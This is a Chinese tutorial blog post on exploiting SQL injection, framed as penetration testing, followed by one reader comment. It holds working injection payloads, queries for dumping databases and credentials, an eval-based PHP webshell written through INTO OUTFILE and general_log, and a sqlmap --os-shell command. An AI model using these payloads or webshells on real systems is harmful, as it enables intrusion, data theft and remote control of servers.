找到一个SQL注入漏洞之后...

在安全渗透测试一个网站的时候,如果发现一个网站存在SQL注入的漏洞,通过SQL注入漏洞我们又能做哪些事情呐?如果该网站存在WAF拦截了我们的利用代码,又该如何去完成我们的目的呐?

SQL注入

SQL注入漏洞在所有的漏洞种类中,出现可能性几乎是最高的。形成SQL注入漏洞的主要原因是对于可接受用户输入参数的内容未做处理就直接代入SQL语句中查询,导致例如被脱裤事件发生。

那么,当我们发现一个存在SQL注入的地方,应该如何利用呐?

0x00 判断是否存在SQL注入漏洞

判断是否存在注入的方法一般是在参数后加上'",通过是否报错,或者返回页面不一致等来判断

判断是否存在SQL注入:

  • 如果参数(id)是数字,测试id=2-1id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入。如果要用+号运算的话,因为URL编码的问题,需要把加好换成%2B,如id=1%2B1
  • 在参数后面加单引号或双引号,判断返回结果是否有报错
  • 添加注释符,判断前后是否有报错,如id=1' --+id=1" --+id=1' #id=1" --+--后面跟+号,是把+当成空格使用)
  • 有些参数可能在括号里面,如:SELECT first_name, last_name FROM users WHERE user_id = ('$id');所以也可以在参数后面加单、双引号和括号,如id=1') --+id=1") --+id=1') #id=1") --+
  • 参数后面跟or 或者and,判断返回结果是否有变化,如1' or 'a'='a 或者and 'a'='a或者1' or 'a'='b或者1' or '1'='2 如果返回的正确页面与错误页面都一样,可以考虑时间延迟的方法判断是否存在注入,如 1' and sleep(5)

0x01 通过SQL注入漏洞获取基本信息

有价值的基本信息包括:网站物理路径,数据库名,表名,列名,用户权限和敏感数据

例如一个数值型的id参数注入点,如果页面有回显,那么可以通过回显地方输出查询的参数,如果有提示报错SQL语句,那么就可以利用报错注入,没有回显就可以使用时间盲注、布尔盲注或者利用DNSLog外带

数值型的,我们就可以推断出SQL语句为:

SELECT * FROM users WHERE id=1;

其中id=1参数是用户可控的

通过order by 数字,判断当前表字段长度,数字从0 依次增加,如果当数字为3出错,那么字段长度就是 2ORDER BY的原理就是依据哪一列排序(第几个字段名排序),当然这里需要注意的是,如果查询SQL为:

SELECT username,password FROM users WHERE id=1

那么后面的order by 3的时候就会报错,也就是说,页面能够回显的值只有2个字段

首先可以通过union查询,联合查询想要回显那么就要使得前一个查询结果为空或者出错,才能使得联合查询的值回显到页面

payload: /Less-2/?id=-1%20union%20select%201,2,3%20from%20users

在Mysql当中有一些内置的函数和变量:

SESSION_USER(), SYSTEM_USER(), USER(), CURRENT_USER(), CURRENT_USER: 获取当前执行SQL用户,例如返回:root@localhost,root是用户名,localhost是不能远程登录
database(): 获取当前执行SQL的数据库名
version(): 获取当前数据库版本
@@datadir:获取当前数据库存储在计算机上的物理路径
@@version_compile_os:获取当前服务器操作系统版本,例如返回win32
@@hostname:主机名,计算机名

0x02 获取数据库、表及数据

Mysql当中存在一个 information_schema的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等内容。

因此,我们可以通过这个数据库做一些快速查询

2.1 查询数据库

SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA
1%27%20union%20select%20group_concat(SCHEMA_NAME)%20FROM%20information_schema.SCHEMATA%20%23

2.2 查询数据库下表名

SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名';
SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE();

2.3 查询数据表下的字段名

SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='数据库名' AND TABLE_NAME='表名';

2.4 查询数据表下详细数据

SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' LIMIT 0,1;
SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' WHERE id=1;
SELECT concat_ws(0x7e,id,username,password) FROM '库名'.'表名' LIMIT 1 offset 0;

通过上面的查询操作,就可以查询到数据库中存储的任意数据


0x03 写入Shell

通过SQL注入漏洞是可以执行写文件操作,当然可以写WebShell

利用loadfile()into outfileinto dumpfile实现读写本地文件

但是使用上面函数的条件是:

  1. 数据库允许导入导出(secure_file_priv
  2. 当前用户用户文件操作权限(File_priv
SELECT '<?php phpinfo(); ?>' into outfile '网站绝对路径';

outfile没权限的时候,可以使用mysql写日志来获得WebShell

set global general_log='ON';
set global general_log_file='d:/virtualhost/localuser/host9384686/www/upload/dyboy.php';
select '<?php @eval($_POST[1]);?>';#
set global general_log='0';//记得给人家还原

0x04 Sqlmap

Sqlmap自动化测试SQL注入漏洞的一个神器,因此在一些比如mssql环境下可以借助xp_cmdshell

sqlmap.py -u http://sss.com/dsd/?id=1  --os-shell

案例:https://blog.dyboy.cn/websecurity/31.html

参考:
https://blog.csdn.net/WYJ____/article/details/81234382
https://www.freebuf.com/articles/web/55577.html

发表评论 / Comment

用心评论~

金玉良言 / Appraise
光阴啊青春LV 1
2019-09-27 17:05
学习学习